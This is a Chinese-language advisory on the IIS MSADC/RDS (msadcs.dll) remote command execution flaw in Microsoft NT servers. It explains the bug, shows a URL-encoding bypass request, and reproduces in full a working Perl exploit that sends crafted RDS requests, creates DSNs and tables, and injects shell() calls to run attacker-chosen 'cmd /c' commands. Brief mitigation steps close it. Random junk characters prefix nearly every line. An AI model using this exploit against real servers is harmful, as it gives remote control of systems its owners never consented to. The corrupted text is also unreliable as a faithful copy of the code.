IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
0LHiOav 8O.:3%D~
t 涉及程序：
32-3C6f@oZ Microsoft NT server
bKt3x+x( vVAZSR# 描述：
xeP;"J} 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
u>A xq3F -B3w RAEt 详细：
*p#YK| 如果你没有时间读详细内容的话，就删除:
XvzV
lKL c:\Program Files\Common Files\System\Msadc\msadcs.dll
?/l}(t$H 有关的安全问题就没有了。
iz
GaV[ <rwOI.W
l$ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
;5oH6{7_Z dV2b)p4J 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
0JZq: hUd 关于利用ODBC远程漏洞的描述，请参看:
W-]yKSob |E_+*1l q. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r/q1&*T T`'3Cp$q 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
d$?n6|4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,f /IG. ? j4,^K3 这里不再论述。
)oxP.K8q)U Kt* za 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
/ =U v "$:y03V /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
/?dQUu ^z 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
RY/ Z~] A Fm*6 0C BE2\? q- #将下面这段保存为txt文件，然后: "perl -x 文件名"
y1"^S 0 &rH 9 #!perl
VGDEP!)-8 #
z5*O@_r+.b # MSADC/RDS 'usage' (aka exploit) script
D16;6K'{ #
e~
78'UH # by rain.forest.puppy
\$HB~u%dr #
!{ ~7 )iq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
l& ^B # beta test and find errors!
@n;YF5 1d@^,7MF- use Socket; use Getopt::Std;
J >|:T getopts("e:vd:h:XR", \%args);
%k;FxUK i yY g&'3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
K[|P6J `S S~=~WY if (!defined $args{h} && !defined $args{R}) {
I{g2q B$6 print qq~
NW>:Lz
?" Usage: msadc.pl -h <host> { -d <delay> -X -v }
08jUV Hdt -h <host> = host you want to scan (ip or domain)
K{w=qJBM -d <seconds> = delay between calls, default 1 second
k;:u| s8NS -X = dump Index Server path table, if available
3 6Z`.E>~L -v = verbose
^nm!NL{z^ -e = external dictionary file for step 5
x#gm liF AO 7qs:+ Or a -R will resume a command session
cSs/XJZ S~(Vc C$K ~; exit;}
-JO46
#m o(SJuZC/U $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Z-p^3t'{ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&$z1Hz +l if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a3
_0F@ I if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
g $T_yT '' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>9 3{=+ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ZE(RvPW Sl<-)a: if (!defined $args{R}){ $ret = &has_msadc;
NCM{OAjS5U die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!zJ67-G ];}|h|q/{} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/sC[5G% . "cmd /c ";
v*]Xur6e} $in=<STDIN>; chomp $in;
Joo)GI B $command="cmd /c " . $in ;
<C` eZ}Qqv r|F,\fF if (defined $args{R}) {&load; exit;}
<@j Uus)2R7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%Kfa|&'zV &try_btcustmr;
_C8LK.M#j <fxj j print "\nStep 2: Trying to make our own DSN...";
adE0oXQH" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
-Jrc'e4K `V_/Cz_}D print "\nStep 3: Trying known DSNs...";
3Co>3d_ &known_dsn;
Cwa0!y5% ^ t % M print "\nStep 4: Trying known .mdbs...";
i@j ? < &known_mdb;
<:7e4# ;3}b&Z[N] if (defined $args{e}){
d@4=XSj print "\nStep 5: Trying dictionary of DSN names...";
Fl>j5[kLZ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
,F9wc<V8 p[VCt" j print "Sorry Charley...maybe next time?\n";
EGr5xR- exit;
k+G4<qw ZU@jt q q ##############################################################################
~9;mZi1- *7V{yK$O| sub sendraw { # ripped and modded from whisker
{Om3fSk: sleep($delay); # it's a DoS on the server! At least on mine...
^g){) rz| my ($pstr)=@_;
p;Ok.cXVp socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0 S8{VZpy die("Socket problems\n");
!3M! p& if(connect(S,pack "SnA4x8",2,80,$target)){
95&sFT
C select(S); $|=1;
J
2~B<=V print $pstr; my @in=<S>;
l+X^x%EA select(STDOUT); close(S);
Sh6 NgO return @in;
a#Gq J?nY } else { die("Can't connect...\n"); }}
Z$K%@q,10+ "Ksd9,J\b ##############################################################################
! m5\w> `CouP -g. sub make_header { # make the HTTP request
9>, \QrrH my $msadc=<<EOT
pnb$lpxt POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FsZEB /c User-Agent: ACTIVEDATA
sh3}0u+ Host: $ip
Ec/+ 9H6g Content-Length: $clen
BU\NBvX$ Connection: Keep-Alive
JkE Q@x -;.fU44O[# ADCClientVersion:01.06
}(O
kl1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
$4) g uG) m,fr?d/; --!ADM!ROX!YOUR!WORLD!
Qn c S& Content-Type: application/x-varg
E0Xu9IW/A Content-Length: $reqlen
L| qY ArKrsI#H- EOT
zMg^2{0L ; $msadc=~s/\n/\r\n/g;
~2 ;y4%K return $msadc;}
=
$Yk8, ;b2>y>?[ ##############################################################################
&1n0(q B Ek\Zi#f< sub make_req { # make the RDS request
ViONG]F my ($switch, $p1, $p2)=@_;
;yoq/ my $req=""; my $t1, $t2, $query, $dsn;
r2`?Ta aq**w?l if ($switch==1){ # this is the btcustmr.mdb query
TK1M mL $query="Select * from Customers where City=" . make_shell();
5Z0x2 jV $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
w8zQDPVB% $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
N.J:Qn`( EE{%hGb elsif ($switch==2){ # this is general make table query
s A j$U^Gp $query="create table AZZ (B int, C varchar(10))";
1 x 8]& $dsn="$p1";}
:udZfA\sW a[#BlH elsif ($switch==3){ # this is general exploit table query
tjL#?j $query="select * from AZZ where C=" . make_shell();
wQ95tN $dsn="$p1";}
yZ6X$I:C bJvRQrj*3 elsif ($switch==4){ # attempt to hork file info from index server
cZi&L p $query="select path from scope()";
artS*fv3r $dsn="Provider=MSIDXS;";}
<m\TZQBD DvKMb-*S elsif ($switch==5){ # bad query
C u5
- w $query="select";
7k3\_BHyb\ $dsn="$p1";}
" ;%1sK $x<-PN $t1= make_unicode($query);
{GY$J< 5= $t2= make_unicode($dsn);
RAa1KOxZX $req = "\x02\x00\x03\x00";
;!Mg,jlQ $req.= "\x08\x00" . pack ("S1", length($t1));
ttxOP $req.= "\x00\x00" . $t1 ;
hTq JDP"&F $req.= "\x08\x00" . pack ("S1", length($t2));
+%^xz
1m $req.= "\x00\x00" . $t2 ;
svII =J B $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Xp@OIn return $req;}
.-
o,_eg1f p_5+L@%Gb ##############################################################################
q9Wtu7/ tp0*W
_<4 sub make_shell { # this makes the shell() statement
=Ih_[$1dw return "'|shell(\"$command\")|'";}
oWT0WS GR9F^Y) K{ ##############################################################################
0_) \ e NIGFu{S sub make_unicode { # quick little function to convert to unicode
Q0A1N [ my ($in)=@_; my $out;
(yVI<Os{a for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
dv: &N return $out;}
jk?(W2c#{ <aS1 bQgaU ##############################################################################
o
q Th ) q2 Dg~et sub rdo_success { # checks for RDO return success (this is kludge)
GH!#"Sl8Z my (@in) = @_; my $base=content_start(@in);
-. G0k*[d if($in[$base]=~/multipart\/mixed/){
(["u"m% return 1 if( $in[$base+10]=~/^\x09\x00/ );}
uhLW/?q. return 0;}
?J
AzN 9w|q':< ##############################################################################
3H2'HO NiF*h~ q sub make_dsn { # this makes a DSN for us
n ~)%o u my @drives=("c","d","e","f");
(TsgVq]L print "\nMaking DSN: ";
-8: @xG2 foreach $drive (@drives) {
7KLq-u-8 print "$drive: ";
5VS<I\o} my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
R8]bi|e) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^YV[1~O . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]y/:#^M+ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%r!-*p<i| return 0 if $2 eq "404"; # not found/doesn't exist
RdjUw#\33b if($2 eq "200") {
) eV]M~K: foreach $line (@results) {
jA'+>`@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
sP#5l @ } return 0;}
*HUqW}_r B:SRHd{*Wu ##############################################################################
*&km5@* Sr0mA M sub verify_exists {
Smo'& x my ($page)=@_;
Spb'jAKj' my @results=sendraw("GET $page HTTP/1.0\n\n");
#';r 0?| return $results[0];}
Tbw8#[6AX \ U_DTI ##############################################################################
3FfS+q*3S \hV FK6 sub try_btcustmr {
9hQ{r 2 my @drives=("c","d","e","f");
-v Q`}e1 my @dirs=("winnt","winnt35","winnt351","win","windows");
m"5gzH +VDB\n foreach $dir (@dirs) {
8dNJZo V print "$dir -> "; # fun status so you can see progress
|gNOv;l foreach $drive (@drives) {
`CB T ZG09 print "$drive: "; # ditto
}T@AoIR0t $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>2r/d $reqlenlen=length( "$reqlen" );
gvX7+F=}B $clen= 206 + $reqlenlen + $reqlen;
60m1
>" n/-I7Q!;u my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Tu"](|I> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
YZd4% zF else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
x1Uj4*Au Zv_<*uzKZ ##############################################################################
x$t=6@<] o5d)v)Rx= sub odbc_error {
9 (Z)c my (@in)=@_; my $base;
QGa"HG5NF my $base = content_start(@in);
-3C~}~$>` if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
. Hw^ Nx $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-Cl0!}P4I $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!q?}[ E2 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_[V
6s#Wk3 return $in[$base+4].$in[$base+5].$in[$base+6];}
m i+I )b= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
sSxra!tv4 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
xE:p)B-] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*Co+UJ j T -c. a7 ##############################################################################
`%VrT` 6mZF sB sub verbose {
NB[b[1 Ch my ($in)=@_;
EJZ2V>\_-0 return if !$verbose;
Ec|#i print STDOUT "\n$in\n";}
S ;
>_9 IcN|e4t^J+ ##############################################################################
N 6eY-`4y 2gi`^%#k] sub save {
}6\p7n my ($p1, $p2, $p3, $p4)=@_;
3Dy.mt P
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
5,A/6b print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4r %NtX Aa close OUT;}
@d)6LA9Ec K-/fq=z ##############################################################################
MQ01!Y[q_7 /Bc
;)~ sub load {
h
c "n? my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S;=
D/)[mr open(IN,"<rds.save") || die("Couldn't open rds.save\n");
D`+'#%%x @p=<IN>; close(IN);
8"? t6Z;5 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
7@: uVowQ $target= inet_aton($ip) || die("inet_aton problems");
0 I,-1o|s print "Resuming to $ip ...";
%NKf@If) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Q~`n%uYg\{ if($p[1]==1) {
$?7}4u, $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
FXIQS ' $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
^
`! 6Yax? my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
5 gE if (rdo_success(@results)){print "Success!\n";}
oY &r76 else { print "failed\n"; verbose(odbc_error(@results));}}
AV?*r-vWL. elsif ($p[1]==3){
\JX8`]|& if(run_query("$p[3]")){
PR6{Y]e% print "Success!\n";} else { print "failed\n"; }}
{min9 elsif ($p[1]==4){
N( Cfv 3{ if(run_query($drvst . "$p[3]")){
(URWi caB print "Success!\n"; } else { print "failed\n"; }}
]cbY@U3!2 exit;}
qT(j%F t6j|q nfw ##############################################################################
-*3wNGh { 9R!.U\sq sub create_table {
WVKzh my ($in)=@_;
Pr" 2d\ $reqlen=length( make_req(2,$in,"") ) - 28;
B?k 75G $reqlenlen=length( "$reqlen" );
\
^_3Yw $clen= 206 + $reqlenlen + $reqlen;
YS &3+Tp my @results=sendraw(make_header() . make_req(2,$in,""));
74>.E^ /x return 1 if rdo_success(@results);
' y1=Z my $temp= odbc_error(@results); verbose($temp);
0^4Tem@ return 1 if $temp=~/Table 'AZZ' already exists/;
r@ ]{`qA return 0;}
A+AqlM+$i 94A re< ##############################################################################
U:p<pTnMR TRa|}JaI" sub known_dsn {
B #8! 8 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
q W dL|8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
mI-$4st] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\ qK h9 "banner", "banners", "ads", "ADCDemo", "ADCTest");
/K1YDq <= v. !L:1@I. foreach $dSn (@dsns) {
H_Vf _p? print ".";
v#F .FK next if (!is_access("DSN=$dSn"));
XK>B mq/] if(create_table("DSN=$dSn")){
4~D oqT print "$dSn successful\n";
N|wI=To if(run_query("DSN=$dSn")){
%kUIIH V} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
074)(X&:x print "Something's borked. Use verbose next time\n";}}} print "\n";}
=*fOej>G V|Smk;G ##############################################################################
oJEind>8O JS} iNS'X sub is_access {
D >$9( my ($in)=@_;
jCkYzQUPz $reqlen=length( make_req(5,$in,"") ) - 28;
aVEg%8 $reqlenlen=length( "$reqlen" );
;BsyN[bF $clen= 206 + $reqlenlen + $reqlen;
}Til $TT%H my @results=sendraw(make_header() . make_req(5,$in,""));
x ^&D8&4^ my $temp= odbc_error(@results);
;
&$djP verbose($temp); return 1 if ($temp=~/Microsoft Access/);
rz5AIe>Hm return 0;}
Cjdw @v0; 7xqTTN6h ##############################################################################
a%cCR=s= =XuBan3B> sub run_query {
u m~U_&> my ($in)=@_;
T|[zk.8=E $reqlen=length( make_req(3,$in,"") ) - 28;
%8s$l'Q; $reqlenlen=length( "$reqlen" );
<;G.(CK@n $clen= 206 + $reqlenlen + $reqlen;
[5yLg my @results=sendraw(make_header() . make_req(3,$in,""));
w,n&K6< return 1 if rdo_success(@results);
edD1 9A my $temp= odbc_error(@results); verbose($temp);
bkTk:-L5: return 0;}
iLD }>= [_q3 02 ##############################################################################
,ir(~g+{g eT0Yp sub known_mdb {
c"~ +Y2]tL my @drives=("c","d","e","f","g");
J4EQhu Q my @dirs=("winnt","winnt35","winnt351","win","windows");
Bu$ Z+o my $dir, $drive, $mdb;
S}WQ~ e my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jInI% yz.a Z # this is sparse, because I don't know of many
8R0Q -,' my @sysmdbs=( "\\catroot\\icatalog.mdb",
Z jLu qo "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0Zcv pR?G "\\system32\\certmdb.mdb",
[z=KH k "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ap,%)on^ :(ni/,~Q my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
SHWD@WLE4 "\\cfusion\\cfapps\\forums\\forums_.mdb",
+es|0;Z4yP "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
9}G.F r "\\cfusion\\cfapps\\security\\realm_.mdb",
AUBZ7*VO "\\cfusion\\cfapps\\security\\data\\realm.mdb",
j
S~W cu "\\cfusion\\database\\cfexamples.mdb",
DC+ p
s "\\cfusion\\database\\cfsnippets.mdb",
@'P\c "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-y]e`\+[ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
2" ~|k_ "\\cfusion\\brighttiger\\database\\cleam.mdb",
VEFUj&t;xW "\\cfusion\\database\\smpolicy.mdb",
O(pa;&" "\\cfusion\\database\cypress.mdb",
m%7T ~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
o y {
{d "\\website\\cgi-win\\dbsample.mdb",
(@X].oM^y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
TuR.'kE@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
4TX~]tEyky ); #these are just
Ts)ox}rYVm foreach $drive (@drives) {
D Nwqi" foreach $dir (@dirs){
[ 'aSPA foreach $mdb (@sysmdbs) {
`?P)RS30 print ".";
pQ2'0u5w5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
n;QMiz:yY print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
S3fyt]pp if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
O S?S$y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
'z\$.L } else { print "Something's borked. Use verbose next time\n"; }}}}}
V[#eeH)/ /N=;3 yWF foreach $drive (@drives) {
3Q;XvrGA foreach $mdb (@mdbs) {
:$ qa print ".";
+s$` kl if(create_table($drv . $drive . $dir . $mdb)){
G)cEUEf
d print "\n" . $drive . $dir . $mdb . " successful\n";
wB%N}bi! if(run_query($drv . $drive . $dir . $mdb)){
d x5 2[W print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+t[i68,% } else { print "Something's borked. Use verbose next time\n"; }}}}
?azi(ja }
`!- w^~c V\|V1 c ##############################################################################
$Jc>B#1 h=*eOxR"4^ sub hork_idx {
^&8Fw V] print "\nAttempting to dump Index Server tables...\n";
>tGl7Ov print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7: Cq[u fl $reqlen=length( make_req(4,"","") ) - 28;
Le,e,#hiY $reqlenlen=length( "$reqlen" );
6Z ,GD $clen= 206 + $reqlenlen + $reqlen;
?R#?=<VkG my @results=sendraw2(make_header() . make_req(4,"",""));
3+~m 9:9 if (rdo_success(@results)){
L>@:Xo@ my $max=@results; my $c; my %d;
Fx!NRY_ for($c=19; $c<$max; $c++){
g._`"c $results[$c]=~s/\x00//g;
&[#iM0;)W0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
lD+f{GR $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]'q"Kw/10 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Fm-D>PR $d{"$1$2"}="";}
p#A{.6Pa: foreach $c (keys %d){ print "$c\n"; }
OUM^ u* } else {print "Index server doesn't seem to be installed.\n"; }}
%Bxp
!Bj J !+)v ##############################################################################
'cgB$:T}., YZ\a#s ,0 sub dsn_dict {
4;;K1< 1 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
P[q 'Y^\ while(<IN>){
3OZu v};k $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
_ -6IB> next if (!is_access("DSN=$dSn"));
5yl[#>qt if(create_table("DSN=$dSn")){
I_"Kh BM print "$dSn successful\n";
8slOB>2#Y if(run_query("DSN=$dSn")){
xQKRUHD c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-mfd ngp3 print "Something's borked. Use verbose next time\n";}}}
f?Am) print "\n"; close(IN);}
-5X*y4# a]]>(T xc ##############################################################################
myq:~^L
; _]aA58,j sub sendraw2 { # ripped and modded from whisker
AhA4IOG`. sleep($delay); # it's a DoS on the server! At least on mine...
hH.X_X?d% my ($pstr)=@_;
D #Ku5~j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ew, 1*WK! die("Socket problems\n");
6C@W6DR3N if(connect(S,pack "SnA4x8",2,80,$target)){
ca6kqh" print "Connected. Getting data";
0pW?v: !H open(OUT,">raw.out"); my @in;
HzdyfZ!jR select(S); $|=1; print $pstr;
qvH RP@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Bj1{=Pvl close(OUT); select(STDOUT); close(S); return @in;
h+d \u } else { die("Can't connect...\n"); }}
1&2X*$]y ;)7 GdR^K ##############################################################################
~tM +! UB8TrYra sub content_start { # this will take in the server headers
hW Va4 my (@in)=@_; my $c;
t^')ST for ($c=1;$c<500;$c++) {
!Zi_4 .(4 if($in[$c] =~/^\x0d\x0a/){
Z]^Ooy[pb if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
<$+Cd=71\ else { return $c+1; }}}
,GVD.whUl return -1;} # it should never get here actually
_(zPA4q8q QA"mWw-Ds ##############################################################################
$-#|g
$C^tZFq sub funky {
oU[>.Igi my (@in)=@_; my $error=odbc_error(@in);
7#pu(:T$ if($error=~/ADO could not find the specified provider/){
e6y,)W"WW2 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&:@)ro CR exit;}
&l-1.muQ if($error=~/A Handler is required/){
>0 c4C< _ print "\nServer has custom handler filters (they most likely are patched)\n";
@b] ?Gg exit;}
9vL n# _ if($error=~/specified Handler has denied Access/){
z]d2
rzV(_ print "\nServer has custom handler filters (they most likely are patched)\n";
Nk
~"f5q7 exit;}}
+3wVcL 6jaol'{SuH ##############################################################################
Uja`{uc lKT<aYX sub has_msadc {
x sN)a! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9*b(\Z)N my $base=content_start(@results);
p*ic@ n*G return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
rAwuWM@BIg return 0;}
:GBM`f@ m]"13E0*x ########################
}j\_XaB y}
W-OLE jwQ(E 解决方案：
sc)}r_|g 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
GB&^<@ 2、移除web 目录: /msadc
